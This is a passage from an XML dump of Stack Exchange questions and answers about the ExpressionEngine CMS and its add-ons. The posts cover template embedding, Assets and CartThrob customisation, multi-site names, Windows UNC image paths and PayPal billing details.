Tags="|cartthrob|shopping-cart|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9438" PostTypeId="1" AcceptedAnswerId="9444" CreationDate="2013-04-17T20:19:41.127" Score="1" ViewCount="89" Body="&lt;p&gt;I have come across this issue and I cannot figure out what I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code in an include file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- .site-title --&amp;gt;&#xA;          &amp;lt;hgroup&amp;gt;&#xA;          {exp:channel:entries channel=&quot;site_image&quot; limit=&quot;1&quot;}&#xA;            &amp;lt;h1 class=&quot;site-title&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}&quot; title=&quot;title here&quot; rel=&quot;home&quot;&amp;gt;&amp;lt;img src=&quot;{site_image}&quot; alt=&quot;{title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;            {/exp:channel:entries}&#xA;            {if segment_1 == &quot;&quot;}{site_intro}{/if}&#xA;          &amp;lt;/hgroup&amp;gt;&#xA;          &amp;lt;!-- .site-title --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This all seems fine and works on all the pages of the site it is embedded into, except static pages created with the 'Pages Module'. On those pages I get this output from the browser:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- .site-title --&amp;gt;&#xA;          &amp;lt;hgroup&amp;gt;&#xA;&#xA;&#xA;          &amp;lt;/hgroup&amp;gt;&#xA;          &amp;lt;!-- .site-title --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing at all appears between the  tag pair. Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-04-17T22:25:44.137" Title="Static Pages and Embed Tag" Tags="|pages|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9439" PostTypeId="2" ParentId="7655" CreationDate="2013-04-17T20:28:22.720" Score="2" Body="&lt;p&gt;(as requested by @GDMac - just copying my previous comments into a real answer here)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely enough I'm working on something very similar. This is not really a direct answer to your question, but I set this up using a combination of Matrix and &lt;del&gt;Playa&lt;/del&gt; Matrix Relations: each event contains an attendee matrix, where the first column is a relationship to the users channel. In this way, each row represents a single attendee. I then have a simple custom add-on that adds/removes a matrix row when the logged-in member registers/de-registers for the event. (While an admin has full access to the matrix via safecracker).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've tried to break out the relevant parts of my larger module here: &lt;a href=&quot;http://gist.github.com/thisisjamessmith/9c01faeb65d11d641bb4&quot; rel=&quot;nofollow&quot;&gt;gist.github.com/thisisjamessmith/9c01faeb65d11d641bb4&lt;/a&gt; - though if you're not familiar with php this could be a problem! Important points: This actually uses the Matrix Relations add-on instead of Playa: &lt;a href=&quot;http://github.com/moresoda/ft.matrix_relations.ee_addon&quot; rel=&quot;nofollow&quot;&gt;github.com/moresoda/ft.matrix_relations.ee_addon&lt;/a&gt; (this is a simpler way, since it just stores the related entry_id). It also relies on the Profile:Edit add-on. Please get in touch if you need help with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this gist requires you to supply the column id of your attendee field (to be found in exp_matrix_cols) and the field id of your attendee matrix (to be found in exp_channel_data).&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-17T20:28:22.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9440" PostTypeId="2" ParentId="9434" CreationDate="2013-04-17T21:12:09.777" Score="1" Body="&lt;p&gt;Since EE doesn't require the parent category to be in the URL in order to sort by category, your category URL titles can't be duplicates. The reason is, how would EE tell the difference between this URL for Category Parent 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://mysite.com/cities/category/parks&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this URL for Category Parent 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://mysite.com/cities/category/parks&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I'm aware, the only way to do this without hacking the core or using a custom field is to simply namespace each category:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;parent_1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;parent_1_parks&lt;/li&gt;&#xA;&lt;li&gt;parent_1_accomodations&lt;/li&gt;&#xA;&lt;li&gt;parent_1_dining&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;parent_2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;parent_2_parks&lt;/li&gt;&#xA;&lt;li&gt;parent_2_accomodations&lt;/li&gt;&#xA;&lt;li&gt;parent_2_dining&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another option is to change how your categories are structured. So instead of duplicate categories, have separate category sub-groups:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Cities&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Portland&lt;/li&gt;&#xA;&lt;li&gt;Seattle&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Features&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Parks&lt;/li&gt;&#xA;&lt;li&gt;Accomodations&lt;/li&gt;&#xA;&lt;li&gt;Dining&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then the user picks the city, and the feature(s) to associate with the entry.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-04-17T21:12:09.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9441" PostTypeId="2" ParentId="9149" CreationDate="2013-04-17T21:27:31.180" Score="0" Body="&lt;p&gt;For the votes up, the answer is not out of the box. Structure can only show a listing once. Use it on another Structure page and the detail page will go to the first page on which you used the listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you can use Structure to serve a content page, select a template that shows the content on that page, and then also pulls in results from another channel. This approach only works by using Freebie to break your urls at a predetermined point. The listing view and the detail view are conditionally served in the template I mentioned, you test the URL using Freebie, if it has a segment after the specified break, you server a detail, if its empty, it's a listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the Freebie break segments as 'producers' - freebie will look for this in urls, and will give you the functionality as specified on &lt;a href=&quot;https://github.com/averyvery/Freebie&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/averyvery/Freebie&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign a Playa relationship field to the channel that serves the page one level higher than your producers listing page. In this example this is 'Festival One'. The playa field is called 'producers_at_festival'. This makes sense, as we are going to associate our producers that are appearing at Festival One here, in the landing page entry for that festival. We'll pull these relationships later, using the URL segment for this page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new Structure page called Producers (on the page tree list in Structure), and select the following template as the Structure Template (found in the Structure tab):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;{if segment_3 != &quot;&quot; AND freebie_break_1==&quot;&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;content_page&quot;}&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;{title}&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;{content}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;individual_festival_landing_pages&quot; dynamic=&quot;no&quot; url_title=&quot;{segment_2}&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:playa:children field=&quot;producers_at_festival&quot; disable=&quot;member_data&quot;}&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;{title}&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;{/exp:playa:children}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/if}&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;{if freebie_4 !=&quot;&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;producers&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; url_title=&quot;{freebie_4}&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;producers&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:structure:breadcrumb inc_home=&quot;no&quot; inc_separator=&quot;no&quot; inc_here=&quot;no&quot; add_last_class=&quot;no&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if freebie_break_1}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Producers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/if}&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;{title}&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/if}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There's a few things to note, the above only works when the page is called Producers, you'll have to change that to whatever you need. Also, this is the third level down in the navigation, thats why we are checking {freebie_3} for the listing, and {freebie_4} for the detail, so my URL looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Domain.com/festivals/festival-one/producers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that to show the detail page, we simply call the channel entry by using it's URL, this is the fourth URL segment , after 'producers'. We also use the second segment before 'producers' to pull our relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our page is in effect made up of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Structure content page&#xA;The page one level higher in the URL (that holds the producer relationships)&#xA;The producer entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can probably make this a bit more dynamic but hopefully it gives a good place to start in terms of logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMPORTANT - there's code being stripped out above, here's an image of the Detail section of the code - Stackexchange - must do better :p&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IZbou.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1309" LastEditorUserId="1309" LastEditDate="2013-04-17T21:39:41.360" LastActivityDate="2013-04-17T21:39:41.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9442" PostTypeId="1" CreationDate="2013-04-17T21:39:48.923" Score="1" ViewCount="302" Body="&lt;p&gt;I am using Expresso Store with PayPal Express checkout. When the user goes through the Store checkout they enter their billing details and once they are taken to the PayPal guest checkout the billing detail fields are blank apart from (first) name, telephone and email.  So the user has to enter their address details again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get these fields automatically populated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also noticed it's possible to enter billing details in PayPal that are different from those entered in Store, and the order in store shows the Store entered details rather than the PayPal details. (not sure if this is an issue or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently doing this on a MAMP install so i don't know if that is an issue, but it seems strange that email, name and phone are being passed through ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using store 1.6.1 and EE 2.4.0, with no easy way to upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another question, I thought Paypal express had a mode where you would enter your card, shipping and billing details on the PayPal site and not on your site's checkout.  Does Store support that, I can't seem to find any information on how to set that up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="807" LastEditorUserId="807" LastEditDate="2013-04-18T09:44:45.670" LastActivityDate="2013-05-18T11:25:40.277" Title="Expresso Store not sending billing details to PayPal Express" Tags="|expresso-store|paypal|paypal-express-checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9444" PostTypeId="2" ParentId="9438" CreationDate="2013-04-17T22:25:44.137" Score="1" Body="&lt;p&gt;Sounds like a classic dynamic=&quot;no&quot; situation. Add this to your exp:channel:entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;site_image&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-04-17T22:25:44.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9445" PostTypeId="2" ParentId="9412" CreationDate="2013-04-17T22:30:15.837" Score="1" Body="&lt;p&gt;You'd want to use the &lt;a href=&quot;http://cartthrob.com/docs/developers/hooks/#cartthrob_pre_process&quot; rel=&quot;nofollow&quot;&gt;cartthrob_pre_process&lt;/a&gt; hook. Your extension would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function cartthrob_pre_process()&#xA;{&#xA;  if ($this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('create_user') === 'yes')&#xA;  {&#xA;    $this-&amp;gt;EE-&amp;gt;config-&amp;gt;set_item('req_mbr_activation', 'none');&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-04-17T22:30:15.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9446" PostTypeId="1" CreationDate="2013-04-17T22:38:40.597" Score="2" ViewCount="199" Body="&lt;p&gt;I'm retrofitting Assets into an existing site and need to convert all of the existing file fields to Assets. All the file fields use the same upload directory and options, so I tried a query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE &#xA;    exp_channel_fields&#xA;SET &#xA;    field_type = 'assets',&#xA;    field_settings = 'YToxMjp7czo4OiJmaWxlZGlycyI7YToxOntpOjA7czo0OiJlZToxIjt9czo0OiJ2aWV3IjtzOjY6InRodW1icyI7czoxMDoidGh1bWJfc2l6ZSI7czo1OiJzbWFsbCI7czoxNDoic2hvd19maWxlbmFtZXMiO3M6MToieSI7czo5OiJzaG93X2NvbHMiO2E6MTp7aTowO3M6NDoibmFtZSI7fXM6NToibXVsdGkiO3M6MToibiI7czoxODoiZmllbGRfc2hvd19zbWlsZXlzIjtzOjE6Im4iO3M6MTk6ImZpZWxkX3Nob3dfZ2xvc3NhcnkiO3M6MToibiI7czoyMToiZmllbGRfc2hvd19zcGVsbGNoZWNrIjtzOjE6Im4iO3M6MjY6ImZpZWxkX3Nob3dfZm9ybWF0dGluZ19idG5zIjtzOjE6Im4iO3M6MjQ6ImZpZWxkX3Nob3dfZmlsZV9zZWxlY3RvciI7czoxOiJuIjtzOjIwOiJmaWVsZF9zaG93X3dyaXRlbW9kZSI7czoxOiJuIjt9'&#xA;WHERE &#xA;    field_type = 'file'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That worked OK, but I guess Assets runs some extra functions to convert existing field values, which only seems to work if I manually click &quot;update&quot; from within the field settings in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a quick &amp;amp; easy way to bulk-convert those field values so they're compatible with Assets?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-04-17T22:38:40.597" Title="Bulk Convert File Fields to Assets" Tags="|assets|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9447" PostTypeId="1" AcceptedAnswerId="9468" CreationDate="2013-04-17T22:41:00.670" Score="0" ViewCount="88" Body="&lt;p&gt;I'm trying to get the country code for for an order to be saved in the orders channel. Currently, I have a step in the checkout process which uses the {exp:cartthrob:save_customer_info_form} tags to collect the customer's shipping info. Most of this information is somehow, in a way I don't understand, getting saved for each order (in the orders channel). That's exactly what I want but unfortunately the country code is not being saved with the rest of the address. How would the country code typically be saved to the orders channel and is there anything that I should check to see why it hasn't?&lt;/p&gt;&#xA;" OwnerDisplayName="user1011" LastActivityDate="2013-04-18T10:15:27.890" Title="Country Code Not Being Saved in Orders Channel" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9448" PostTypeId="2" ParentId="9435" CreationDate="2013-04-17T22:55:49.543" Score="1" Body="&lt;p&gt;I set up my templates differently from you with regards to CE Cache. I wrap the whole template in CE Cache tags so that includes the embedded layout template too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:it id=&quot;the-template&quot;}&#xA;{embed=&quot;layouts/index&quot;}&#xA;...rest of page...&#xA;{/exp:ce_cache:it}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then don't wrap the layouts/index template in CE Cache tags but instead use escape tags for bits I don't want cached.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-04-17T22:55:49.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9449" PostTypeId="2" ParentId="4866" CreationDate="2013-04-18T00:01:52.713" Score="1" Body="&lt;p&gt;I've got a deeper implementation of this, however as a basis you can hack Assets 2.1 to only show files uploaded by the logged in member when working with standard EE file sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, add a 'member_id' column to the assets_files table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;ALTER TABLE  `exp_assets_files` ADD  `member_id` INT( 10 ) UNSIGNED NULL&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Modify assets/sources/base_source.php (line 605) to add the member_id to the db table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;'file_name' =&gt; $filename,&#xA;'member_id' =&gt; $this-&gt;EE-&gt;session-&gt;userdata('member_id'), // Add 'member_id' to database&#xA;'kind' =&gt; Assets_helper::get_kind($filename)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, modify assets/libraries/assets_lib.php (line 712) to limit the display of files to the currently logged in member only:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change this existing line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$this-&gt;EE-&gt;db-&gt;where_in('exp_assets_files.folder_id', $full_folder_list);&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$this-&gt;EE-&gt;db-&gt;where_in('exp_assets_files.folder_id', $full_folder_list)-&gt;where('member_id', $this-&gt;EE-&gt;session-&gt;userdata('member_id'));&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="959" LastActivityDate="2013-04-18T00:01:52.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9450" PostTypeId="2" ParentId="7666" CreationDate="2013-04-18T00:10:23.923" Score="2" Body="&lt;p&gt;Assets 2.1 is easily hackable, here's what you can do to restrict the file browser to the currently logged-in member's (standard ExpressionEngine) assets only:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, add a 'member_id' column to the assets_files table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;ALTER TABLE  `exp_assets_files` ADD  `member_id` INT( 10 ) UNSIGNED NULL&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Modify assets/sources/base_source.php (line 605) to add the member_id to the db table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;'file_name' =&gt; $filename,&#xA;'member_id' =&gt; $this-&gt;EE-&gt;session-&gt;userdata('member_id'), // Add 'member_id' to database&#xA;'kind' =&gt; Assets_helper::get_kind($filename)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, modify assets/libraries/assets_lib.php (line 712) to limit the display of files to the currently logged in member only:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change this existing line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$this-&gt;EE-&gt;db-&gt;where_in('exp_assets_files.folder_id', $full_folder_list);&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$this-&gt;EE-&gt;db-&gt;where_in('exp_assets_files.folder_id', $full_folder_list)-&gt;where('member_id', $this-&gt;EE-&gt;session-&gt;userdata('member_id'));&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="959" LastActivityDate="2013-04-18T00:10:23.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9451" PostTypeId="2" ParentId="1004" CreationDate="2013-04-18T00:47:58.963" Score="0" Body="&lt;p&gt;If you don't care about the created date at all, you could conceivably write an extension which runs every time an entry is saved, and syncs the created date with the edit date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would avoid hacking the core, and would show the date you need in the control panel. It does mean you will forever lose the created date though.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-18T00:47:58.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9452" PostTypeId="2" ParentId="6465" CreationDate="2013-04-18T02:33:54.393" Score="1" Body="&lt;p&gt;Another somewhat ridiculous way to cause this problem, is to do some HTML prototyping in a file called index.html and keep that in your EE set up, therein confusing the Playa because things aren’t being properly routed through index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, I am ashamed to admit that’s what caused this for me.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-04-18T02:33:54.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9453" PostTypeId="1" CreationDate="2013-04-18T05:18:56.347" Score="1" ViewCount="630" Body="&lt;p&gt;Anyone ever got images on an EE site working on a Windows server that uses UNC paths, e.g. //server/folder/?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using imgSizer to resize images but am getting errors like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;imgsizer.Error: /wwwroot/uploads/img/image.jpg image is not readable or does not exist&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Support for the server says that it seems that EE is trying to serve images from a path with a single / at the front instead of the //&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-05-18T07:25:35.097" Title="How to get file upload paths that use Windows UNC format working" Tags="|server|windows|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9454" PostTypeId="2" ParentId="9453" CreationDate="2013-04-18T05:46:15.763" Score="1" Body="&lt;p&gt;Can you force C:\path\to/webroot/folder instead? I have that in use on a Win server with EE. You might also change from Imgsizer to CE Image - when I did that I was able to remove the base_path type parameters from my plugin calls.&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2013-04-18T05:46:15.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9455" PostTypeId="2" ParentId="9453" CreationDate="2013-04-18T06:03:47.530" Score="0" Body="&lt;p&gt;The imgSizer plugin uses remove_double_slashes() function of Functions library to remove the double slashes to a single slash. So it will not work either with &quot;base_path&quot; or &quot;src&quot; parameters of imgSizer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try &quot;ED Imageresizer&quot; by having &quot;ed_server_path&quot; config variable like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ed_server_path'] = '//server/folder/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would work.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-18T06:03:47.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9456" PostTypeId="1" AcceptedAnswerId="9457" CreationDate="2013-04-18T06:04:36.570" Score="1" ViewCount="301" Body="&lt;p&gt;I'm using MSM to manage a number of sites, but on one of them I need to list ALL news items across ALL sites (which is easy!) ... however I need to identify which site each item has come from by either site_id or site_short_name, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... I'm looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; site=&quot;siteA|siteB|siteC&quot;} &#xA;{count}. {title} - {site_short_name}&amp;lt;br /&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To result in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. My great title - siteB&amp;lt;br /&amp;gt;&#xA;2. Another great title - siteA&amp;lt;br /&amp;gt;&#xA;3. Yet another great title - siteC&amp;lt;br /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the {site_short_name} is only coming back with the site_short_name of the site I am actually on.  For example if the above code is on Site A, it comes back with the results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. My great title - siteA&amp;lt;br /&amp;gt;&#xA;2. Another great title - siteA&amp;lt;br /&amp;gt;&#xA;3. Yet another great title - siteA&amp;lt;br /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone able to help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="140" LastActivityDate="2013-04-18T07:32:32.557" Title="How to return the right {site_short_name} in a Channel Entries Tag when using MSM" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9457" PostTypeId="2" ParentId="9456" CreationDate="2013-04-18T06:18:23.610" Score="1" Body="&lt;p&gt;I think, it would be better to create to global variables within the index.php files of each site. In the index.php of each site you can have the code like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['global_vars'] = array('site_1_short_name' =&amp;gt; '[short name of site 1]',  'site_2_short_name' =&amp;gt; '[short name of site 2]');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please note&lt;/strong&gt;: You need to put this global variables assignments array above the last line of code i.e above the line of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once BASEPATH.'core/CodeIgniter'.EXT;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;within index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The global variables {site_1_short_name} and {site_2_short_name} can be used anywhere within the templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think above would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The small SQL can be used with Query module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT exp_sites.site_name AS SiteShortName FROM exp_sites, exp_channel_titles&#xA;WHERE exp_sites.site_id=exp_channel_titles.site_id AND exp_channel_titles.entry_id='{entry_id}'&quot;}&#xA;&#xA;{SiteShortName}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-04-18T06:55:52.983" LastActivityDate="2013-04-18T06:55:52.983" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9458" PostTypeId="2" ParentId="9453" CreationDate="2013-04-18T06:32:28.000" Score="0" Body="&lt;p&gt;Following on from Chad Crowell's answer: I would say that the easiest way to fix this -- assuming you're connecting to a single UNC server -- would be to map the UNC path to a drive letter. This is really easy, in Windows -- just open an Explorer window and go to Tools -&gt; Map Network Drive. Enter \server\images in the obvious box, and pick a drive letter in the other obvious box. If the server uses different credentials than the Windows login, then check the &quot;Use different credentials&quot; box. Then click &quot;OK&quot;. (If you've checked 'use different credentials', it will prompt you for those after you've clicked OK; there will be an option to save them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can reference the paths from Imagesizer as, say, Q:\media (maps to \server\images\media) or Q:\stuff (maps to \server\images\stuff).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that, use CE Image. :) &lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2013-04-18T06:32:28.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9459" PostTypeId="2" ParentId="9453" CreationDate="2013-04-18T07:00:14.140" Score="0" Body="&lt;p&gt;For:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/wwwroot/uploads/img/image.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\wwwroot/uploads/img/image.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="106" LastActivityDate="2013-04-18T07:00:14.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
